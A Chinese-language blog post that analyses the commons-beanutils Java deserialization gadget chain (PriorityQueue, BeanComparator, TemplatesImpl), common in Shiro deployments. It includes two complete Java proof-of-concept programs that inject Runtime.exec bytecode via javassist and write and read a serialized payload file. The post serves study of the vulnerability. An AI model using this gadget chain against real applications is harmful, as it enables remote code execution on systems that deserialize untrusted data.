一、 简介
commons-beanutils 是Apache开源组织提供的用于操作JAVA BEAN的工具包。使用commons-beanutils,我们可以很方便的对bean对象的属性进行操作。
而在Shiro的环境中 CB是自带的依赖,所以比较常见。
操作bean对象举例:
二 、分析
1. PropertyUtils.getProperty()
commons-beanutils中提供了一个静态方法PropertyUtils.getProperty(),可以让使用者直接调用任意JavaBean的getter和setter方法。
可以看到这里获取到getName并且invoke调用
2.TemplatesImpl
而在CC2的分析中,自己的分析文章: CC2反序列化链 与 TemplatesImpl命令执行链 - 分析 - FreeBuf网络安全行业门户,我们可以了解到存在一条TemplatesImpl的链条,下面是这条链的POC:
链:
TemplatesImpl#getProperty() TemplatesImpl#newTransformer() TemplatesImpl#getTransletInstance() TemplatesImpl#defineTransletClasses() TransletClassLoader#defineClass()
通过TemplatesImpl的getOutputProperties的方法,可以实例化我们通过javassist构造的恶意类,执行其中静态代码块中的恶意方法,现在通过getProperty()调用getProperty()看一下
POC:
public class test { public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, CannotCompileException, NotFoundException, IOException, InstantiationException, NoSuchFieldException { ClassPool classPool = ClassPool.getDefault(); // 获取CtClass容器 classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); // 引入AbstractTranslet路径到classpath中 CtClass testCtClass = classPool.makeClass("test"); // 创建CtClass对象 testCtClass.setSuperclass(classPool.get(AbstractTranslet.class.getName())); // 设置父类为AbstractTranslet CtConstructor ctConstructor = testCtClass.makeClassInitializer(); // 创建空初始化构造器 ctConstructor.insertBefore("Runtime.getRuntime().exec(\"calc\");"); // 插入初始化语句 byte[] classBytes = testCtClass.toBytecode(); // 获取字节数据 TemplatesImpl templates = new TemplatesImpl(); Class<? extends TemplatesImpl> templatesClass = templates.getClass(); Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); bytecodes.set(templates, new byte[][] {classBytes}); Field name = TemplatesImpl.class.getDeclaredField("_name"); name.setAccessible(true); name.set(templates, "Test"); Field tfactory = TemplatesImpl.class.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates, new TransformerFactoryImpl()); PropertyUtils.getProperty(templates, "outputProperties"); } }
可以看到也是可以正常弹出计算器的,我们需要继续寻找一个类调用了getProperty方法,并且和我们的反序列化相关
3.BeanComparator
在BeanComparator#Compare中可以发现调用了getProperty方法
而这里的property是构造函数进行的赋值,可控
所以现在继续找哪里调用了这个compare,现在就可以自然想到,在CC2中中的PriorityQueue#readObject,中调用到最后就是去执行compare方法,具体的不再分析,可以查看我的这个文章:CC2反序列化链 与 TemplatesImpl命令执行链 - 分析 - FreeBuf网络安全行业门户
所以现在整体的链就清晰了
4.整体调用链
PriorityQueue.readObject() -> BeanComparator.compare() -> PropertyUtils.getProperty() -> TemplatesImpl.getOutputProperties() -> TemplatesImpl#newTransformer() -> ................ -> TransletClassLoader.defineClass() -> Evil.newInstance()
完整POC
public class test { public static void main(String[] args) throws Exception { //javassist 设置恶意类 ClassPool classPool = ClassPool.getDefault(); // 获取CtClass容器 classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); // 引入AbstractTranslet路径到classpath中 CtClass testCtClass = classPool.makeClass("test"); // 创建CtClass对象 testCtClass.setSuperclass(classPool.get(AbstractTranslet.class.getName())); // 设置父类为AbstractTranslet CtConstructor ctConstructor = testCtClass.makeClassInitializer(); // 创建空初始化构造器 ctConstructor.insertBefore("Runtime.getRuntime().exec(\"calc\");"); // 插入初始化语句 byte[] classBytes = testCtClass.toBytecode(); // 获取字节数据 TemplatesImpl templates = new TemplatesImpl(); Class<? extends TemplatesImpl> templatesClass = templates.getClass(); Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); bytecodes.set(templates, new byte[][] {classBytes}); Field name = TemplatesImpl.class.getDeclaredField("_name"); name.setAccessible(true); name.set(templates, "Test"); Field tfactory = TemplatesImpl.class.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates, new TransformerFactoryImpl()); //设置BeanComparator对象 BeanComparator comparator = new BeanComparator(); setFieldValue(comparator,"property","outputProperties"); PriorityQueue priorityQueue = new PriorityQueue(2, comparator); setFieldValue(priorityQueue,"queue",new Object[]{templates,templates}); setFieldValue(priorityQueue, "size", 2); Object[] objects = {templates, 2}; setFieldValue(priorityQueue, "queue", objects); //序列化 ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2.bin")); outputStream.writeObject(priorityQueue); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2.bin")); inputStream.readObject(); } public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); } public static Field getField(final Class<?> clazz, final String fieldName) { Field field = null; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null) field = getField(clazz.getSuperclass(), fieldName); } return field; } }
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)